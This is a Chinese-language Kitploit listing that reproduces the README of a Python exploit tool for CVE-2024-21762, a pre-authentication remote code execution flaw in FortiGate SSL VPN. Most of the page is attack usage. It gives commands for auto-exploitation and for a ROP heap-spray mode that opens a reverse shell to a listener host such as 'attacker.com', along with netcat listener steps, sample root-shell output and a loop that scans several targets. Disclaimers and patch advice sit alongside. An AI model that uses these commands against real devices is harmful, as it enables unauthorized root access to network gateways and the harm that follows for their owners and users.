Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-21762 — 基于Python的检测与利用工具,针对CVE-2024-21762,这是FortiGate SSL VPN中的一个关键预认证远程代码执行漏洞。特点包括自动漏洞扫描、带有堆喷射的ROP模式以及反向Shell有效载荷注入。 | Kitploit
工具/GitHubGitHub/0x13-bytezer0/cve-2024-21762
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队远程访问工具
GitHub0x13-bytezer0/cve-2024-21762

CVE-2024-21762

基于Python的检测与利用工具,针对CVE-2024-21762,这是FortiGate SSL VPN中的一个关键预认证远程代码执行漏洞。特点包括自动漏洞扫描、带有堆喷射的ROP模式以及反向Shell有效载荷注入。

查看仓库
7个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-21762 - FortiGate SSL VPN RCE 检测与利用工具

Python 3.7+ License Vulnerability: Critical

针对CVE-2024-21762的检测与利用工具 - FortiGate SSL VPN 严重漏洞

⚠️ 法律声明:本工具仅供在授权测试环境中使用。未经授权在系统上使用是非法的,可能导致严重的法律后果。

概述

CVE-2024-21762 是 FortiGate SSL VPN 组件中的一个严重漏洞,允许预认证远程代码执行(RCE)。该漏洞存在于对使用 Transfer-Encoding: chunked 的 HTTP 请求的解析中,导致 sslvpnd 组件发生越界写入。

技术细节

属性信息
CVE IDCVE-2024-21762
漏洞类型sslvpnd 越界写入
类型预认证远程代码执行(RCE)
CVSS 评分9.8(严重)
受影响组件FortiOS SSL VPN
受影响版本7.0.0-7.0.13, 7.2.0-7.2.6, 7.4.0-7.4.2

功能特性

✅ 漏洞检测 - 通过畸形请求识别易受攻击的 FortiGate 设备
✅ 基线测试 - 在进行测试前验证服务器的正常行为
✅ 自动模式 - 自动检测并利用漏洞
✅ 反向 Shell - 支持带 IP/端口配置的 bash 反向 shell
✅ 输入验证 - 利用前验证 IP 和端口
✅ 详细报告 - 生成包含修复建议的报告
✅ 健壮的错误处理 - 安全的连接管理和异常处理

要求

  • Python 3.7 或更高版本
  • Python 标准库模块(socket, ssl, argparse, datetime, time, re)
  • 目标网络可达(端口 443 或自定义端口)

安装

root@kitploit:~
# 克隆仓库
git clone https://github.com/seu-usuario/CVE-2024-21762.git
cd CVE-2024-21762

# 检查语法
python -m py_compile EXPLOIT.py

# 运行脚本
python EXPLOIT.py -h

使用

基本用法

root@kitploit:~
# 简单的检测测试
python EXPLOIT.py 192.168.1.100

# 指定自定义端口
python EXPLOIT.py 192.168.1.100 -p 8443

# 增加超时时间
python EXPLOIT.py 192.168.1.100 --timeout 20

自动模式(检测 + 利用)

root@kitploit:~
# 自动模式,预配置反向 shell
python EXPLOIT.py 192.168.1.100 --auto -li 10.0.0.5 -lp 4444

# 自动模式,无凭据(交互式提示)
python EXPLOIT.py 192.168.1.100 --auto

ROP 模式 - 带堆喷射的高级利用

ROP 模式对特定目标(FortiOS 7.4.2)实施了两阶段利用,带堆喷射:

root@kitploit:~
# ROP 利用,带 Node.js 反向 shell
python EXPLOIT.py 192.168.1.100 --rop -li 10.0.0.5 -lp 4242

# 指定自定义端口
python EXPLOIT.py 192.168.1.100 -p 8443 --rop -li attacker.com -lp 4242

# 针对慢速目标增加超时
python EXPLOIT.py 192.168.1.100 --rop -li 192.168.1.50 -lp 9999 --timeout 30

ROP 利用流程:

  1. 阶段 1:发送 1.8MB 的堆喷射,包含 ROP gadgets
  2. 等待 2 秒让 CPU 处理
  3. 阶段 2:触发 OOB 写入,使用 4137 字节的 chunk
  4. 等待 3 秒让 payload 执行
  5. 建立 Node.js 反向连接

在您的监听服务器上:

root@kitploit:~
# Linux/Mac/Windows 使用 netcat
nc -lnvp 4242

# 预期输出:
# listening on [any] 4242 ...
# connect to [10.0.0.5] from (UNKNOWN) [192.168.1.100] 54321
# id
# uid=0(root) gid=0(root) groups=0(root)

⚠️ 重要说明: ROP 模式针对 FortiOS 7.4.2.F-build2571 优化。由于 ROP 链的硬编码偏移,其他版本可能无法工作。

手动测试反向 Shell

root@kitploit:~
# 发送反向 shell payload
python EXPLOIT.py 192.168.1.100 -li 192.168.1.50 -lp 9999

# 多选项组合
python EXPLOIT.py -t target.com -p 8443 --auto -li attacker.com -lp 5555 --timeout 15

可用选项

root@kitploit:~
positional arguments:
  target                    要测试的目标主机名或 IP

optional arguments:
  -h, --help               显示此帮助信息
  -t, --target HOSTNAME    目标主机名或 IP(替代方式)
  -p, --port PORT          SSL VPN 端口(默认:443)
  --timeout SECONDS        超时秒数(默认:10)
  -li, --lhost IP          接收反向 shell 的本地 IP
  -lp, --lport PORT        接收反向 shell 的本地端口
  --no-baseline            跳过基线测试
  --auto                   自动模式:检测并利用
  --rop                    ROP 模式:高级利用,带堆喷射(FortiOS 7.4.2)
  -v, --version            显示脚本版本

完整使用示例

1. 简单检测

root@kitploit:~
python EXPLOIT.py 192.168.1.100

检测到漏洞时的预期结果:

root@kitploit:~
[+] 开始漏洞测试...
[!] 检测到易受攻击!
[!] 服务器突然关闭连接
[!] 状态:易受攻击

2. 自动利用并获取反向 Shell

root@kitploit:~
python EXPLOIT.py 192.168.1.100 --auto -li 192.168.1.50 -lp 4444

在您的服务器上:

root@kitploit:~
# Linux/Mac
nc -lnvp 4444

# Windows
ncat -lnvp 4444

3. 多目标测试

root@kitploit:~
for target in 192.168.1.100 192.168.1.101 192.168.1.102; do
  python EXPLOIT.py $target --timeout 15
done

工作原理

检测流程

  1. 基线测试 - 发送正常 HTTP 请求以检查标准行为
  2. 畸形请求 - 发送带有易受攻击的 chunked encoding 的畸形 HTTP 请求
  3. 分析 - 分析响应以检测漏洞迹象:
    • 连接突然关闭
    • 服务器超时/崩溃
    • 异常的 TLS 警报
  4. 报告 - 生成包含状态和建议的报告

利用流程(自动模式)

  1. 执行检测测试
  2. 如果易受攻击,注入反向 shell payload
  3. 等待反向连接
  4. 生成最终报告

漏洞迹象

当检测到以下任一行为时,工具判定目标存在漏洞:

  • ✓ 连接突然终止(空响应)
  • ✓ 发送 payload 后超时(服务器崩溃)
  • ✓ 收到 TLS 警报(sslvpnd 崩溃)
  • ✓ 对端重置连接

受影响版本

修复方案

立即行动

  1. 更新 FortiOS 到修复版本:

    • FortiOS 7.0.14+
    • FortiOS 7.2.7+
    • FortiOS 7.4.3+
  2. 临时隔离

    • 禁用 SSL VPN 的外部访问
    • 限制管理访问
  3. 监控

    • 审查日志中的利用迹象
    • 检查异常凭据和访问

后续验证

root@kitploit:~
# 检查 FortiOS 版本
python EXPLOIT.py 您的-fortinet.com

如果结果显示“不存在漏洞”,则补丁已成功应用。

项目结构

root@kitploit:~
CVE-2024-21762/
├── EXPLOIT.py          # 主利用脚本
├── README.md           # 本文件
├── LICENSE             # MIT 许可证
└── .gitignore          # Git 配置

类方法

CVE2024_21762_Detector

错误处理

该工具实现了:

  • ✓ 健壮的输入验证
  • ✓ SSL/TLS 异常处理
  • ✓ 连接超时
  • ✓ 安全关闭 socket
  • ✓ 描述性错误消息

局限性

  • ⚠️ 需要与目标网络连通
  • ⚠️ 可检测漏洞,但不保证利用成功
  • ⚠️ 反向 shell 依赖于目标环境(需要 bash)
  • ⚠️ 在防火墙严格的环境下无法工作

常见问题

问:可以在 Windows 环境中使用吗?
答:可以,Python 脚本可在 Windows 上运行,但默认的 bash 反向 shell 无法工作。您需要自定义 payload。

问:如何知道利用是否成功?
答:检查正在监听反向 shell 的机器(nc/ncat)。脚本会显示进度消息。

问:可以针对多个目标使用吗?
答:可以,您可以创建 bash/PowerShell 脚本遍历 IP 列表。

问:普通模式和自动模式有什么区别?
答:自动模式在发现漏洞后会自动利用;普通模式仅检测。

贡献

发现 bug 或有建议?请提交 issue 或发起 pull request!

许可证

本项目采用 MIT 许可证 - 详见 LICENSE 文件。

免责声明

本软件按“原样”提供,仅用于研究和授权测试。作者不承担以下责任:

  • 因未经授权使用造成的损害
  • 数据丢失
  • 对生产系统的影响
  • 未经授权使用的法律后果

请负责任地使用,且仅在授权环境中使用

参考

  • Fortinet 安全公告
  • NVD - CVE-2024-21762
  • CVSS 计算器

作者

为网络安全教育和研究目的而开发。


⚠️ 记住:仅将此工具用于您拥有或已获明确授权的系统。未经授权的利用是违法的。

下载工具
版本检测ROP 模式状态
FortiOS 7.0.0 - 7.0.13✅ 是❌ 否⚠️ 存在漏洞
FortiOS 7.2.0 - 7.2.6✅ 是❌ 否⚠️ 存在漏洞
FortiOS 7.4.0 - 7.4.1✅ 是❌ 否⚠️ 存在漏洞
FortiOS 7.4.2 (build≤2571)✅ 是✅ 是⚠️ 存在漏洞
FortiOS 7.4.3+❌ 否❌ 否✅ 已修复
方法描述
test_vulnerability()通过发送畸形请求测试漏洞
exploit(lhost, lport)利用漏洞获取反向 shell
test_baseline()测试服务器正常行为
generate_report()生成包含状态的最终报告
_create_ssl_context()创建可复用的 SSL 上下文
_create_socket_connection()创建安全的 TLS 连接
_close_socket(sock)安全关闭 socket
_is_valid_ip(ip_str)验证 IP 格式